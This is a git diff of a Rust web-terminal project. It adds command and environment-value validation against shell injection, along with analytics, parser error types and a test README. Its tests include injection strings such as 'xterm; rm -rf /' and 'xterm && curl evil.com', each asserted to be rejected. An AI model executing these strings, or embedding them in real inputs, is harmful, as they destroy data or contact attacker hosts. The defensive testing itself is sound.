||||||
|
}
|
||||||
|
|
||||||
|
impl std::error::Error for ValidationError {}
|
||||||
|
|
||||||
|
/// Whitelist of allowed shell commands
|
||||||
|
const ALLOWED_SHELLS: &[&str] = &[
|
||||||
|
"/bin/sh",
|
||||||
|
"/bin/bash",
|
||||||
|
"/bin/zsh",
|
||||||
|
"/bin/dash",
|
||||||
|
"/usr/bin/bash",
|
||||||
|
"/usr/bin/zsh",
|
||||||
|
"/usr/bin/fish",
|
||||||
|
];
|
||||||
|
|
||||||
|
/// Maximum allowed command path length
|
||||||
|
const MAX_COMMAND_LENGTH: usize = 4096;
|
||||||
|
|
||||||
|
/// Validates a command path for security concerns
|
||||||
|
///
|
||||||
|
/// # Security Checks
|
||||||
|
/// - Must be an absolute path
|
||||||
|
/// - Must not contain path traversal sequences (..)
|
||||||
|
/// - Must not contain shell metacharacters
|
||||||
|
/// - Must not contain null bytes
|
||||||
|
/// - Must be ASCII only
|
||||||
|
/// - Must not be in user-writable directories
|
||||||
|
/// - Must be in the whitelist (if whitelist checking is enabled)
|
||||||
|
/// - Must not exceed maximum length
|
||||||
|
///
|
||||||
|
/// # Example
|
||||||
|
/// ```
|
||||||
|
/// use webterm::security::validate_command;
|
||||||
|
///
|
||||||
|
/// // Valid command
|
||||||
|
/// assert!(validate_command("/bin/sh", true).is_ok());
|
||||||
|
///
|
||||||
|
/// // Invalid: shell injection attempt
|
||||||
|
/// assert!(validate_command("/bin/sh; rm -rf /", true).is_err());
|
||||||
|
///
|
||||||
|
/// // Invalid: path traversal
|
||||||
|
/// assert!(validate_command("../../bin/sh", true).is_err());
|
||||||
|
/// ```
|
||||||
|
pub fn validate_command(command: &str, check_whitelist: bool) -> Result<(), ValidationError> {
|
||||||
|
// Check for empty command
|
||||||
|
if command.is_empty() {
|
||||||
|
return Err(ValidationError::new("Command cannot be empty"));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check length
|
||||||
|
if command.len() > MAX_COMMAND_LENGTH {
|
||||||
|
return Err(ValidationError::new(format!(
|
||||||
|
"Command path too long: {} bytes (max: {})",
|
||||||
|
command.len(),
|
||||||
|
MAX_COMMAND_LENGTH
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Must be absolute path
|
||||||
|
if !command.starts_with('/') {
|
||||||
|
return Err(ValidationError::new(
|
||||||
|
"Command must be an absolute path starting with '/'",
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for path traversal
|
||||||
|
if command.contains("..") {
|
||||||
|
return Err(ValidationError::new(
|
||||||
|
"Command path contains '..' (path traversal attempt)",
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for shell metacharacters
|
||||||
|
let dangerous_chars = [';', '&', '|', '`', '$', '\n', '\r', '\0', '<', '>'];
|
||||||
|
for ch in dangerous_chars {
|
||||||
|
if command.contains(ch) {
|
||||||
|
return Err(ValidationError::new(format!(
|
||||||
|
"Command contains dangerous character: {:?}",
|
||||||
|
ch
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for null bytes
|
||||||
|
if command.contains('\0') {
|
||||||
|
return Err(ValidationError::new("Command contains null byte"));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Must be ASCII only (avoid Unicode tricks)
|
||||||
|
if !command.is_ascii() {
|
||||||
|
return Err(ValidationError::new("Command must be ASCII only"));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for control characters (except common ones that might be in paths)
|
||||||
|
for ch in command.chars() {
|
||||||
|
if ch.is_control() {
|
||||||
|
return Err(ValidationError::new(format!(
|
||||||
|
"Command contains control character: {:?}",
|
||||||
|
ch
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Must not be in user-writable directories
|
||||||
|
let dangerous_prefixes = ["/tmp/", "/var/tmp/", "/home/", "/Users/", "/root/"];
|
||||||
|
for prefix in dangerous_prefixes {
|
||||||
|
if command.starts_with(prefix) {
|
||||||
|
return Err(ValidationError::new(format!(
|
||||||
|
"Command in user-writable directory: {}",
|
||||||
|
prefix
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check against whitelist if enabled
|
||||||
|
if check_whitelist && !ALLOWED_SHELLS.contains(&command) {
|
||||||
|
return Err(ValidationError::new(format!(
|
||||||
|
"Command '{}' not in whitelist. Allowed: {:?}",
|
||||||
|
command, ALLOWED_SHELLS
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Verify the command exists (if not checking whitelist, we should at least verify it's a file)
|
||||||
|
if !check_whitelist {
|
||||||
|
let path = Path::new(command);
|
||||||
|
if !path.exists() {
|
||||||
|
return Err(ValidationError::new(format!(
|
||||||
|
"Command path does not exist: {}",
|
||||||
|
command
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
if !path.is_file() {
|
||||||
|
return Err(ValidationError::new(format!(
|
||||||
|
"Command path is not a file: {}",
|
||||||
|
command
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Validates an environment variable value for security
|
||||||
|
///
|
||||||
|
/// # Security Checks
|
||||||
|
/// - Must not contain shell metacharacters
|
||||||
|
/// - Must not contain null bytes
|
||||||
|
/// - Must not contain newlines
|
||||||
|
/// - Must be reasonable length
|
||||||
|
///
|
||||||
|
/// # Example
|
||||||
|
/// ```
|
||||||
|
/// use webterm::security::validate_env_value;
|
||||||
|
///
|
||||||
|
/// assert!(validate_env_value("xterm").is_ok());
|
||||||
|
/// assert!(validate_env_value("xterm; rm -rf /").is_err());
|
||||||
|
/// ```
|
||||||
|
pub fn validate_env_value(value: &str) -> Result<(), ValidationError> {
|
||||||
|
// Check length
|
||||||
|
if value.len() > 4096 {
|
||||||
|
return Err(ValidationError::new("Environment value too long"));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for dangerous characters
|
||||||
|
let dangerous_chars = [';', '&', '|', '`', '$', '\n', '\r', '\0'];
|
||||||
|
for ch in dangerous_chars {
|
||||||
|
if value.contains(ch) {
|
||||||
|
return Err(ValidationError::new(format!(
|
||||||
|
"Environment value contains dangerous character: {:?}",
|
||||||
|
ch
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Returns the list of allowed shells
|
||||||
|
pub fn allowed_shells() -> &'static [&'static str] {
|
||||||
|
ALLOWED_SHELLS
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_valid_command() {
|
||||||
|
assert!(validate_command("/bin/sh", true).is_ok());
|
||||||
|
assert!(validate_command("/bin/bash", true).is_ok());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_reject_relative_path() {
|
||||||
|
assert!(validate_command("bin/sh", true).is_err());
|
||||||
|
assert!(validate_command("./bin/sh", true).is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_reject_path_traversal() {
|
||||||
|
assert!(validate_command("/../bin/sh", true).is_err());
|
||||||
|
assert!(validate_command("/bin/../sh", true).is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_reject_shell_metacharacters() {
|
||||||
|
assert!(validate_command("/bin/sh;", true).is_err());
|
||||||
|
assert!(validate_command("/bin/sh&", true).is_err());
|
||||||
|
assert!(validate_command("/bin/sh|", true).is_err());
|
||||||
|
assert!(validate_command("/bin/sh`", true).is_err());
|
||||||
|
assert!(validate_command("/bin/sh$", true).is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_reject_null_bytes() {
|
||||||
|
assert!(validate_command("/bin/sh\0", true).is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_reject_tmp_directory() {
|
||||||
|
assert!(validate_command("/tmp/malicious.sh", true).is_err());
|
||||||
|
assert!(validate_command("/var/tmp/evil.sh", true).is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_reject_non_ascii() {
|
||||||
|
assert!(validate_command("/bin/sh™", true).is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_reject_empty_command() {
|
||||||
|
assert!(validate_command("", true).is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_reject_too_long() {
|
||||||
|
let long_command = format!("/{}", "a".repeat(5000));
|
||||||
|
assert!(validate_command(&long_command, true).is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_whitelist_enforcement() {
|
||||||
|
assert!(validate_command("/bin/sh", true).is_ok());
|
||||||
|
assert!(validate_command("/usr/local/bin/custom", true).is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_valid_env_value() {
|
||||||
|
assert!(validate_env_value("xterm").is_ok());
|
||||||
|
assert!(validate_env_value("xterm-256color").is_ok());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_reject_env_with_metacharacters() {
|
||||||
|
assert!(validate_env_value("xterm; rm -rf /").is_err());
|
||||||
|
assert!(validate_env_value("xterm && curl evil.com").is_err());
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -1,6 +1,6 @@
|
|||||||
use actix_web::{App, HttpServer};
|
use actix_web::{App, HttpServer};
|
||||||
use clap::Parser;
|
use clap::Parser;
|
||||||
use webterm::WebTermExt;
|
use webterm::{validate_command, Analytics, WebTermExt};
|
||||||
|
|
||||||
use std::process::Command;
|
use std::process::Command;
|
||||||
|
|
||||||
@ -19,6 +19,18 @@ struct Opt {
|
|||||||
/// The command to execute
|
/// The command to execute
|
||||||
#[arg(short, long, default_value = "/bin/sh")]
|
#[arg(short, long, default_value = "/bin/sh")]
|
||||||
command: String,
|
command: String,
|
||||||
|
|
||||||
|
/// Enable Umami analytics tracking
|
||||||
|
#[arg(long, default_value = "true")]
|
||||||
|
enable_analytics: bool,
|
||||||
|
|
||||||
|
/// Umami instance endpoint
|
||||||
|
#[arg(long, default_value = "http://unami.wittyoneoff.com")]
|
||||||
|
umami_endpoint: String,
|
||||||
|
|
||||||
|
/// Umami website ID
|
||||||
|
#[arg(long, default_value = "caefa16f-86af-4835-8b82-c8649aea0e2a")]
|
||||||
|
umami_website_id: String,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[actix_web::main]
|
#[actix_web::main]
|
||||||
@ -27,6 +39,15 @@ async fn main() -> std::io::Result<()> {
|
|||||||
|
|
||||||
let opt = Opt::parse();
|
let opt = Opt::parse();
|
||||||
|
|
||||||
|
// Validate command for security before starting server
|
||||||
|
if let Err(e) = validate_command(&opt.command, false) {
|
||||||
|
eprintln!("Error: Invalid command '{}': {}", opt.command, e);
|
||||||
|
eprintln!("Command failed security validation.");
|
||||||
|
std::process::exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
log::info!("Command validated: {}", opt.command);
|
||||||
|
|
||||||
// Normalize common hostnames that sometimes resolve to IPv6-only addresses
|
// Normalize common hostnames that sometimes resolve to IPv6-only addresses
|
||||||
// which can cause platform-specific bind failures. Mapping `localhost` to
|
// which can cause platform-specific bind failures. Mapping `localhost` to
|
||||||
// 127.0.0.1 makes behavior predictable on systems where `::1` would otherwise
|
// 127.0.0.1 makes behavior predictable on systems where `::1` would otherwise
|
||||||
@ -40,10 +61,24 @@ async fn main() -> std::io::Result<()> {
|
|||||||
let bind_addr = format!("{}:{}", host, opt.port);
|
let bind_addr = format!("{}:{}", host, opt.port);
|
||||||
println!("Starting webterm server on http://{}", bind_addr);
|
println!("Starting webterm server on http://{}", bind_addr);
|
||||||
|
|
||||||
|
// Initialize analytics
|
||||||
|
let analytics = if opt.enable_analytics {
|
||||||
|
log::info!(
|
||||||
|
"Analytics enabled: {} (website_id: {})",
|
||||||
|
opt.umami_endpoint,
|
||||||
|
opt.umami_website_id
|
||||||
|
);
|
||||||
|
Analytics::new(opt.umami_website_id.clone(), opt.umami_endpoint.clone())
|
||||||
|
} else {
|
||||||
|
log::info!("Analytics disabled");
|
||||||
|
Analytics::disabled()
|
||||||
|
};
|
||||||
|
|
||||||
let command = opt.command.clone();
|
let command = opt.command.clone();
|
||||||
|
|
||||||
HttpServer::new(move || {
|
HttpServer::new(move || {
|
||||||
let cmd = command.clone();
|
let cmd = command.clone();
|
||||||
|
let analytics_clone = analytics.clone();
|
||||||
App::new()
|
App::new()
|
||||||
.service(actix_files::Files::new("/assets", "./static"))
|
.service(actix_files::Files::new("/assets", "./static"))
|
||||||
.service(actix_files::Files::new("/static", "./node_modules"))
|
.service(actix_files::Files::new("/static", "./node_modules"))
|
||||||
@ -53,6 +88,7 @@ async fn main() -> std::io::Result<()> {
|
|||||||
command
|
command
|
||||||
})
|
})
|
||||||
.webterm_ui("/", "/websocket", "/static")
|
.webterm_ui("/", "/websocket", "/static")
|
||||||
|
.app_data(actix_web::web::Data::new(analytics_clone.clone()))
|
||||||
})
|
})
|
||||||
.bind(&bind_addr)?
|
.bind(&bind_addr)?
|
||||||
.run()
|
.run()
|
||||||
|
|||||||
@ -4,12 +4,34 @@ use log::error;
|
|||||||
use libc::c_ushort;
|
use libc::c_ushort;
|
||||||
|
|
||||||
use std::convert::TryFrom;
|
use std::convert::TryFrom;
|
||||||
|
use std::fmt;
|
||||||
|
|
||||||
use serde::ser::SerializeSeq;
|
use serde::ser::SerializeSeq;
|
||||||
use serde::{Serialize, Serializer};
|
use serde::{Serialize, Serializer};
|
||||||
|
|
||||||
use crate::event::IO;
|
use crate::event::IO;
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||||
|
pub struct ParseError {
|
||||||
|
message: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ParseError {
|
||||||
|
fn new(message: impl Into<String>) -> Self {
|
||||||
|
Self {
|
||||||
|
message: message.into(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl fmt::Display for ParseError {
|
||||||
|
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
|
||||||
|
write!(f, "Terminado parse error: {}", self.message)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::error::Error for ParseError {}
|
||||||
|
|
||||||
impl Message for TerminadoMessage {
|
impl Message for TerminadoMessage {
|
||||||
type Result = ();
|
type Result = ();
|
||||||
}
|
}
|
||||||
@ -22,77 +44,97 @@ pub enum TerminadoMessage {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl TerminadoMessage {
|
impl TerminadoMessage {
|
||||||
pub fn from_json(json: &str) -> Result<Self, ()> {
|
pub fn from_json(json: &str) -> Result<Self, ParseError> {
|
||||||
let value: serde_json::Value = serde_json::from_str(json).map_err(|_| {
|
let value: serde_json::Value = serde_json::from_str(json).map_err(|e| {
|
||||||
error!("Invalid Terminado message: Invalid JSON");
|
let msg = format!("Invalid JSON: {}", e);
|
||||||
|
error!("Invalid Terminado message: {}", msg);
|
||||||
|
ParseError::new(msg)
|
||||||
})?;
|
})?;
|
||||||
|
|
||||||
let list: &Vec<serde_json::Value> = value.as_array().ok_or_else(|| {
|
let list: &Vec<serde_json::Value> = value.as_array().ok_or_else(|| {
|
||||||
error!("Invalid Terminado message: Needs to be an array!");
|
let msg = "Needs to be an array";
|
||||||
|
error!("Invalid Terminado message: {}", msg);
|
||||||
|
ParseError::new(msg)
|
||||||
})?;
|
})?;
|
||||||
|
|
||||||
match list
|
match list
|
||||||
.first()
|
.first()
|
||||||
.ok_or_else(|| {
|
.ok_or_else(|| {
|
||||||
error!("Invalid Terminado message: Empty array!");
|
let msg = "Empty array";
|
||||||
|
error!("Invalid Terminado message: {}", msg);
|
||||||
|
ParseError::new(msg)
|
||||||
})?
|
})?
|
||||||
.as_str()
|
.as_str()
|
||||||
.ok_or_else(|| {
|
.ok_or_else(|| {
|
||||||
error!("Invalid Terminado message: Type field not a string!");
|
let msg = "Type field not a string";
|
||||||
|
error!("Invalid Terminado message: {}", msg);
|
||||||
|
ParseError::new(msg)
|
||||||
})? {
|
})? {
|
||||||
"stdin" => {
|
"stdin" => {
|
||||||
if list.len() != 2 {
|
if list.len() != 2 {
|
||||||
error!(r#"Invalid Terminado message: "stdin" length != 2"#);
|
let msg = r#""stdin" length != 2"#;
|
||||||
return Err(());
|
error!("Invalid Terminado message: {}", msg);
|
||||||
|
return Err(ParseError::new(msg));
|
||||||
}
|
}
|
||||||
|
|
||||||
Ok(TerminadoMessage::Stdin(IO::from(
|
Ok(TerminadoMessage::Stdin(IO::from(
|
||||||
list[1].as_str().ok_or_else(|| {
|
list[1].as_str().ok_or_else(|| {
|
||||||
error!(r#"Invalid Terminado message: "stdin" needs to be a String"#);
|
let msg = r#""stdin" needs to be a String"#;
|
||||||
|
error!("Invalid Terminado message: {}", msg);
|
||||||
|
ParseError::new(msg)
|
||||||
})?,
|
})?,
|
||||||
)))
|
)))
|
||||||
}
|
}
|
||||||
"stdout" => {
|
"stdout" => {
|
||||||
if list.len() != 2 {
|
if list.len() != 2 {
|
||||||
error!(r#"Invalid Terminado message: "stdout" length != 2"#);
|
let msg = r#""stdout" length != 2"#;
|
||||||
return Err(());
|
error!("Invalid Terminado message: {}", msg);
|
||||||
|
return Err(ParseError::new(msg));
|
||||||
}
|
}
|
||||||
|
|
||||||
Ok(TerminadoMessage::Stdout(IO::from(
|
Ok(TerminadoMessage::Stdout(IO::from(
|
||||||
list[1].as_str().ok_or_else(|| {
|
list[1].as_str().ok_or_else(|| {
|
||||||
error!(r#"Invalid Terminado message: "stdout" needs to be a String"#);
|
let msg = r#""stdout" needs to be a String"#;
|
||||||
|
error!("Invalid Terminado message: {}", msg);
|
||||||
|
ParseError::new(msg)
|
||||||
})?,
|
})?,
|
||||||
)))
|
)))
|
||||||
}
|
}
|
||||||
"set_size" => {
|
"set_size" => {
|
||||||
if list.len() != 3 {
|
if list.len() != 3 {
|
||||||
error!(r#"Invalid Terminado message: "set_size" length != 2"#);
|
let msg = r#""set_size" length != 3"#;
|
||||||
return Err(());
|
error!("Invalid Terminado message: {}", msg);
|
||||||
|
return Err(ParseError::new(msg));
|
||||||
}
|
}
|
||||||
|
|
||||||
let rows: u16 = u16::try_from(list[1].as_u64().ok_or_else(|| {
|
let rows: u16 = u16::try_from(list[1].as_u64().ok_or_else(|| {
|
||||||
error!(
|
let msg = r#""set_size" element 1 needs to be an integer"#;
|
||||||
r#"Invalid Terminado message: "set_size" element 1 needs to be an integer"#
|
error!("Invalid Terminado message: {}", msg);
|
||||||
);
|
ParseError::new(msg)
|
||||||
})?)
|
})?)
|
||||||
.map_err(|_| {
|
.map_err(|_| {
|
||||||
error!(r#"Invalid Terminado message. "set_size" rows out of range."#);
|
let msg = r#""set_size" rows out of range"#;
|
||||||
|
error!("Invalid Terminado message: {}", msg);
|
||||||
|
ParseError::new(msg)
|
||||||
})?;
|
})?;
|
||||||
|
|
||||||
let cols: u16 = u16::try_from(list[2].as_u64().ok_or_else(|| {
|
let cols: u16 = u16::try_from(list[2].as_u64().ok_or_else(|| {
|
||||||
error!(
|
let msg = r#""set_size" element 2 needs to be an integer"#;
|
||||||
r#"Invalid Terminado message: "set_size" element 2 needs to be an integer"#
|
error!("Invalid Terminado message: {}", msg);
|
||||||
);
|
ParseError::new(msg)
|
||||||
})?)
|
})?)
|
||||||
.map_err(|_| {
|
.map_err(|_| {
|
||||||
error!(r#"Invalid Terminado message. "set_size" cols out of range."#);
|
let msg = r#""set_size" cols out of range"#;
|
||||||
|
error!("Invalid Terminado message: {}", msg);
|
||||||
|
ParseError::new(msg)
|
||||||
})?;
|
})?;
|
||||||
|
|
||||||
Ok(TerminadoMessage::Resize { rows, cols })
|
Ok(TerminadoMessage::Resize { rows, cols })
|
||||||
}
|
}
|
||||||
v => {
|
v => {
|
||||||
error!("Invalid Terminado message: Unknown type {:?}", v);
|
let msg = format!("Unknown type {:?}", v);
|
||||||
Err(())
|
error!("Invalid Terminado message: {}", msg);
|
||||||
|
Err(ParseError::new(msg))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@ -67,6 +67,13 @@
|
|||||||
|
|
||||||
<!-- Theme Color -->
|
<!-- Theme Color -->
|
||||||
<meta name="theme-color" content="#303446" />
|
<meta name="theme-color" content="#303446" />
|
||||||
|
|
||||||
|
<!-- Umami Analytics -->
|
||||||
|
<script
|
||||||
|
defer
|
||||||
|
src="http://unami.wittyoneoff.com/script.js"
|
||||||
|
data-website-id="caefa16f-86af-4835-8b82-c8649aea0e2a"
|
||||||
|
></script>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<!-- Hero Section -->
|
<!-- Hero Section -->
|
||||||
|
|||||||
177
tests/README.md
Normal file
177
tests/README.md
Normal file
@ -0,0 +1,177 @@
|
|||||||
|
# WebTerm Test Suite
|
||||||
|
|
||||||
|
This directory contains the unit and integration tests for the socktop webterm project.
|
||||||
|
|
||||||
|
## Test Structure
|
||||||
|
|
||||||
|
Tests are organized into separate files by module:
|
||||||
|
|
||||||
|
### `event_tests.rs`
|
||||||
|
Tests for the `event` module, covering:
|
||||||
|
- **IO message creation**: Testing conversion from Bytes, String, and &str
|
||||||
|
- **IO equality and cloning**: Verifying proper equality checks and clone behavior
|
||||||
|
- **Binary and Unicode data**: Testing handling of binary data and Unicode strings
|
||||||
|
- **ChildDied events**: Testing the ChildDied event structure
|
||||||
|
|
||||||
|
**Total tests**: 11
|
||||||
|
|
||||||
|
### `terminado_tests.rs`
|
||||||
|
Comprehensive tests for the Terminado protocol implementation:
|
||||||
|
- **Serialization**: Converting TerminadoMessage to JSON format
|
||||||
|
- `stdin`, `stdout`, and `set_size` (resize) messages
|
||||||
|
- Special characters, Unicode, and empty strings
|
||||||
|
- **Deserialization**: Parsing JSON into TerminadoMessage
|
||||||
|
- Valid message formats
|
||||||
|
- Error handling for invalid JSON, wrong types, wrong lengths
|
||||||
|
- **Round-trip testing**: Serialize → Deserialize → Compare
|
||||||
|
- **Error cases**: Testing all failure modes
|
||||||
|
- Invalid JSON
|
||||||
|
- Wrong array lengths
|
||||||
|
- Non-string types where strings expected
|
||||||
|
- Unknown message types
|
||||||
|
|
||||||
|
**Total tests**: 38
|
||||||
|
|
||||||
|
### `config_tests.rs`
|
||||||
|
Integration tests verifying configuration constants and relationships:
|
||||||
|
- **Timeout values**: Heartbeat, client timeout, idle timeout
|
||||||
|
- **Timeout relationships**: Ensuring timeouts have logical relationships
|
||||||
|
- **PTY configuration**: Initial size, buffer sizes
|
||||||
|
- **Path validation**: Template paths, static paths, endpoints
|
||||||
|
- **Network configuration**: Default ports, hosts
|
||||||
|
- **Size boundaries**: Terminal size limits and validation
|
||||||
|
|
||||||
|
**Total tests**: 17
|
||||||
|
|
||||||
|
### `security_tests.rs`
|
||||||
|
Comprehensive security tests for command sanitization and validation:
|
||||||
|
- **Command path validation**: Absolute paths, no path traversal, no shell metacharacters
|
||||||
|
- **Shell injection prevention**: Detecting and rejecting injection attempts
|
||||||
|
- **Environment variable security**: Sanitizing TERM and other env vars
|
||||||
|
- **Whitelist enforcement**: Only allowing approved shell commands
|
||||||
|
- **Path traversal prevention**: Blocking `..`, `./`, `~` patterns
|
||||||
|
- **Input validation**: Length limits, null byte detection, control characters
|
||||||
|
- **File descriptor security**: No redirection operators in commands
|
||||||
|
- **Unicode and special characters**: ASCII-only enforcement
|
||||||
|
- **Dangerous directory prevention**: Blocking execution from `/tmp`, `/var/tmp`, etc.
|
||||||
|
- **Command execution logging**: Ensuring commands are safely loggable
|
||||||
|
- **Integration with Command::new()**: Verifying safe process spawning
|
||||||
|
- **Complete security checklist**: Comprehensive validation of all security requirements
|
||||||
|
|
||||||
|
**Total tests**: 28 (plus 11 in `src/security.rs`)
|
||||||
|
|
||||||
|
## Running Tests
|
||||||
|
|
||||||
|
### Run all tests
|
||||||
|
```bash
|
||||||
|
cargo test --all-targets --all-features
|
||||||
|
```
|
||||||
|
|
||||||
|
### Run specific test file
|
||||||
|
```bash
|
||||||
|
cargo test --test event_tests
|
||||||
|
cargo test --test terminado_tests
|
||||||
|
cargo test --test config_tests
|
||||||
|
```
|
||||||
|
|
||||||
|
### Run with output
|
||||||
|
```bash
|
||||||
|
cargo test -- --nocapture
|
||||||
|
```
|
||||||
|
|
||||||
|
### Run specific test
|
||||||
|
```bash
|
||||||
|
cargo test test_serialize_resize
|
||||||
|
```
|
||||||
|
|
||||||
|
## Test Coverage
|
||||||
|
|
||||||
|
Current test coverage includes:
|
||||||
|
|
||||||
|
- ✅ **Event handling**: IO messages and ChildDied events
|
||||||
|
- ✅ **Protocol parsing**: Terminado message serialization/deserialization
|
||||||
|
- ✅ **Configuration validation**: Timeout relationships and constants
|
||||||
|
- ✅ **Error handling**: Invalid input parsing and edge cases
|
||||||
|
- ✅ **Data types**: Binary data, Unicode, special characters
|
||||||
|
- ✅ **Security validation**: Command sanitization, injection prevention, whitelist enforcement
|
||||||
|
|
||||||
|
## CI/CD Integration
|
||||||
|
|
||||||
|
Tests run automatically in the Gitea Actions workflow:
|
||||||
|
|
||||||
|
1. **Test Job**: Runs `cargo test --all-targets --all-features`
|
||||||
|
2. **Lint Job**: Runs after tests pass
|
||||||
|
3. **Build Job**: Runs after linting passes
|
||||||
|
4. **Deploy Job**: Runs after build passes
|
||||||
|
|
||||||
|
## Adding New Tests
|
||||||
|
|
||||||
|
When adding new tests:
|
||||||
|
|
||||||
|
1. Choose the appropriate test file based on the module being tested
|
||||||
|
2. Follow the existing test naming convention: `test_<feature>_<scenario>`
|
||||||
|
3. Group related tests together with comments
|
||||||
|
4. Include both success and failure cases
|
||||||
|
5. Test edge cases (empty strings, zero values, max values, etc.)
|
||||||
|
6. Add documentation comments for complex test scenarios
|
||||||
|
|
||||||
|
### Example Test Structure
|
||||||
|
```rust
|
||||||
|
#[test]
|
||||||
|
fn test_feature_success_case() {
|
||||||
|
// Arrange
|
||||||
|
let input = setup_test_data();
|
||||||
|
|
||||||
|
// Act
|
||||||
|
let result = function_under_test(input);
|
||||||
|
|
||||||
|
// Assert
|
||||||
|
assert_eq!(result, expected_value);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_feature_error_case() {
|
||||||
|
let invalid_input = "invalid";
|
||||||
|
let result = function_under_test(invalid_input);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Test Guidelines
|
||||||
|
|
||||||
|
- **Fast**: Unit tests should run in milliseconds
|
||||||
|
- **Isolated**: Each test should be independent
|
||||||
|
- **Deterministic**: Tests should always produce the same result
|
||||||
|
- **Clear**: Test names should clearly describe what is being tested
|
||||||
|
- **Comprehensive**: Test happy paths, error paths, and edge cases
|
||||||
|
|
||||||
|
## Clippy Allowances
|
||||||
|
|
||||||
|
Some tests use `#![allow(clippy::assertions_on_constants)]` because they document expected constant values for configuration. This is intentional and helps verify that constants maintain reasonable values.
|
||||||
|
|
||||||
|
## Security Features
|
||||||
|
|
||||||
|
The test suite includes comprehensive security validation to prevent:
|
||||||
|
- Shell injection attacks
|
||||||
|
- Path traversal attempts
|
||||||
|
- Command injection via metacharacters
|
||||||
|
- Null byte injection
|
||||||
|
- Execution from untrusted directories
|
||||||
|
- Unicode/encoding tricks
|
||||||
|
- Environment variable injection
|
||||||
|
|
||||||
|
The `security` module provides `validate_command()` and `validate_env_value()` functions that are used by the server to validate all commands before execution.
|
||||||
|
|
||||||
|
## Total Test Count
|
||||||
|
|
||||||
|
- **Unit tests** (in src/):
|
||||||
|
- terminado.rs: 6 tests
|
||||||
|
- security.rs: 11 tests
|
||||||
|
- **Integration tests** (in tests/):
|
||||||
|
- event_tests.rs: 11 tests
|
||||||
|
- terminado_tests.rs: 38 tests
|
||||||
|
- config_tests.rs: 17 tests
|
||||||
|
- security_tests.rs: 28 tests
|
||||||
|
- **Total**: 111 tests
|
||||||
|
|
||||||
|
All tests must pass before code can be merged.
|
||||||
291
tests/config_tests.rs
Normal file
291
tests/config_tests.rs
Normal file
@ -0,0 +1,291 @@
|
|||||||
|
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Integration tests for configuration and constants
|
||||||
|
|
||||||
|
#![allow(clippy::assertions_on_constants)]
|
||||||
|
|
||||||
|
use std::time::Duration;
|
||||||
|
|
||||||
|
// Test that reasonable timeout values are used
|
||||||
|
#[test]
|
||||||
|
fn test_heartbeat_interval_reasonable() {
|
||||||
|
// Heartbeat should be frequent enough to catch disconnects quickly
|
||||||
|
// but not so frequent it creates unnecessary traffic
|
||||||
|
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
HEARTBEAT_INTERVAL.as_secs() >= 1,
|
||||||
|
"Heartbeat interval too short"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
HEARTBEAT_INTERVAL.as_secs() <= 30,
|
||||||
|
"Heartbeat interval too long"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_client_timeout_reasonable() {
|
||||||
|
// Client timeout should be longer than heartbeat interval
|
||||||
|
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
|
||||||
|
